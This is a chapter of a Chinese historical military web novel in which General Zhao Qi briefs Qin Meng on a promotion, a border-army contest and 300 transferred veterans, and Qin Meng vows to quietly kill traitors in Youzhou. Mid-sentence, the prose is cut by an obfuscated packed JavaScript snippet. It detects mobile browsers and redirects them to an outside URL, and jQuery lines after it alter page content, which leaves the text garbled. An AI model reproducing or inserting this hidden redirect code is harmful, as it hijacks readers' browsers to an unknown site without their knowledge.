赵起脸上那难得一见的笑容迅速沉底,帐内的气氛也随之重新凝结,甚至比之前更加沉重。
他目光如炬,扫过帐内诸将,最终牢牢锁在秦猛身上:“这第二件事,关乎你秦猛的前程。
你此次力战有功,帅司的嘉奖,你是否觉得太轻,与杀敌数千、击溃**的功劳不相匹配?”
“末将不敢,帅司赏罚,自有道理。”秦猛抱拳,回答得干脆利落,脸上看不出半分不满。
“哼,滑头!”赵起冷哼一声,毫不客气地戳穿,“你这点心思,瞒得过谁?当年本将也经历过。
你立的是实打实的战功,按制,擢升统领或偏将,秩及五品,亦不为过。但你要清楚,到了这个级别,需得朝廷正式任命,非帅司可独断。
吴大帅的荐举奏章,已经以八百里加急送往京城。朝廷赏罚分明,很可能追加‘团练使’的阶官。”
“什么?团练使?”一旁的赵平和周扬几乎同时低呼出声,脸上写满了惊讶与难以掩饰的羡慕。
“咋的,很牛吗?”秦猛不懂就问。
周扬忍不住插话:“秦兄弟,这‘团练使’意义重大。”
秦猛眉头微动,他于这大周官制的细微之处,确实不甚了了,只道:“还请周大哥指点。”
赵平接过话头,语气带着几分感慨解释道:“我大周官制,品阶与差遣分离。你现在的知寨官,是从七品,乃是你自身官阶,但微末不入流。
飞虎卫正将,是你在虎贲军中的职事,一旦离了幽州,便不作数。
而将军方才所说的追封‘团练使’,乃是从五品的‘本阶官’!这是朝廷对你个人品级的认定,是烙在你身上的印记,纵使你日后调任他处,这从五品的身份也不会变,到哪里都认!”
秦猛目光一闪,立刻明白其中的关键。这‘团练使’,就好比有了一个全国通用的硬通货身份,不再是局限于边军体系内的“地方粮票”。
他微微颔首:“原来如此,多谢解惑。”
“现在知道分量了?”赵起看着秦猛,语气严肃起来,“但这并非易事。得先推荐,走流程。需朝廷各部讨论,圣上批准,方能颁布圣旨。
虎贲军可推荐升你为偏将,可这名额却有限,各边军争抢激烈。因此,才有了开春后的全军大比!”
他身体微微前倾,带来更强的压迫感:“我要你,趁着冬季,以战代练,将新营给我狠狠操练出来!大比之时,你所属营必须挤进前十。
唯有如此,本将才有底气,在帅司为你力争,堵住那些悠悠众口!朝廷下令,擢升你为偏将。”
“前十?”秦猛感受到赵起话语中的重量,但仍需确认难度,“我飞虎卫精锐辈出,以往成绩如何?”
这次是周扬沉声回答,语气带着一丝凝重:“秦兄弟,切莫小觑这边军大比。届时,除了咱虎贲军,另有镇北、龙骧、熊罴、鹰扬。
北疆五柱石百来个营,精锐尽出,说是群雄逐鹿也不为过。飞虎卫近年来最好的成绩,也不过是杀入前三。我与赵平兄,当年也是在大比中侥幸露了锋芒,才被将军青眼相加。”
秦猛深吸一口气,心中凛然。他原本以为只是虎贲军内部较量,没想到竟是整个北疆边军的擂台。
这不仅是个人前程的搏杀,更是各军实力、颜面的角逐。大周边军底蕴犹存,而自己要面对的草原敌人,恐怕也比想象的更加强大。
他收敛心神,抱拳肃然道:“末将明白了!请将军放心,冬季,正是大练兵之时,末将必不负重托,在大比中为虎贲军夺下一个好名次!”
“好!要的就是你这股锐气!”赵起低喝一声,随即竖起了第三根手指,语气也变得前所未有的冷峻,“最后一事,关乎生死,你听仔细了!”
“为增强你部战力,以应对明年开春必然到来的大战,帅司已决议:将袁飞和徐强两位部将,及其麾下三百百战老兵,全数划归你麾下!”
帐内瞬间一静,连赵平等人都露出了惊讶的神色。
袁飞、徐强都是军中有名的悍将,其部下更是经验丰富的老兵,这股力量强大,但也敏感。
赵起紧紧盯着秦猛的眼睛,仿佛要看清他内心的每一个波动:“这三百精锐,是给你新营搭起骨架的梁柱!
你要在最短时间内,以他们为骨干,吸纳新兵,练出一支能打硬仗、敢打恶仗的铁军。
情报显示,契丹人今年冬季损失惨重,萧铁鹰部更是颜面扫地,明年夏末秋收时,他们必定会倾力来犯,规模将远超此次!幽州能否守住,你秦猛这儿的第一道防线,至关重要!”
秦猛心脏猛地一跳。三百精锐老兵,这是天大的助力,能极大缩短新营形成战斗力的时间。
但这也是一把双刃剑。
袁飞、徐强并非自己的嫡系,骤然纳入麾下,指挥能否如意?不排除某些人安**来的棋子!
瞬息之间,无数念头在他脑中闪过。但他脸上却看不出丝毫犹豫,几乎是本能地踏前一步。
秦猛的声音斩钉截铁:“末将谢帅司、谢将军信任!必竭尽全力,明年定让**有来无回!”
他心中已有计较:非常之时,行非常之事。掌控力的风险确实存在,但只要自身实力不断增强,手段得当,未尝不能将这些力量逐步消化吸收。
当前最要紧的,是时间紧迫,得抓住一切机会壮大自己及军寨实力,应对迫在眉睫的战争。
然而,外患虽急,内忧更毒。
秦猛话锋陡然一转,声音压得极低,带着一股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688496|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冰碴般的寒意,主动将话题引向了更危险的深渊。
“将军,朝廷、帅司封赏、兵马调配,皆是公事。末将这里,尚有一件私仇,亦关乎大局的祸事。”
他眼中闪过一丝厉色:“前次末将接连**,几近丧命。现已查明,乃是幽州境内有人,向**泄露情报,与那契丹萧铁鹰部勾结所为!”
从擒获的萧铁鹰亲兵副统领巴蒂尔口中得知,末将的画像早已传遍契丹各部,悬赏之高,令人咋舌。如今,连阿猫阿狗都能认出我秦猛了!”
“将军,这帮藏在我幽州内部的蛀虫,已非寻常敌对,他们是叛国!
通敌**,罪证确凿,其心可诛!”秦猛的声音带着压抑不住的杀意,“他们在暗,我们在明。他们可以失败无数次,我们只要失手一次,便是万劫不复。
末将前日方才成家,还想留着这颗头颅,多杀几个**,不想哪天被刺杀,死得不明不白,连累妻儿。
所以,为了大局安稳,也为了末将自家性命,只能先下手为强,请他们……先走一步了!”
他没有说出具体的行动,但右手掌做了一个抹脖子的动作。帐内的温度,仿佛随着骤降了几分。
赵起的脸色瞬间阴沉如水,目光锐利如鹰,紧紧盯着秦猛,帐内只剩下帐外寒风呼啸声。沉默持续了足有数十息,压抑得让人喘不过气。
最终,赵起才缓缓开口,每个字都像是从牙缝里挤出来的:“你**一事,赵平已有密报。
你心中所思所想,所欲所为,本将大致清楚。幽州内部不清,确是心腹大患。原则上……本将不拦你。”
他话锋陡然一转,语气变得极其严厉,带着不容置疑的警告:“但是,秦猛,你给我听好了!
如今大敌当前,草原之上,**大军磨刀霍霍,幽州乃至整个北疆的安危系于一线。
肃清内奸,势在必行,但切记分寸!绝不可在后方引起大的动荡,导致人心惶惶,我军粮饷辎重供应受阻!
若是因此动摇了前线军心,让契丹人有机可乘,这个责任,你我都担待不起!行事之前,需谋定而后动,要快、要准、更要稳!”
“将军放心!”秦猛脸上露出一抹冰冷的笑容:“对付这些数典忘祖的蛀虫,末将自有手段。保证能做得干干净净,如同这北风扫雪,了无痕迹。
不仅不会惊扰后方,说不定……还能借此机会,给那萧铁鹰,再送上一份意想不到的‘大礼’,让他再次尝尝这找了个猪队友的滋味!”
帐外,北风愈发凄厉,卷着雪沫疯狂拍打着军帐,发出啪啪的声响,仿佛有无数恶鬼在试图闯入。
然而,这天地间的肃杀风雪,此刻竟也压不住帐内那盈沸欲出、即将席卷一切的凛冽杀机!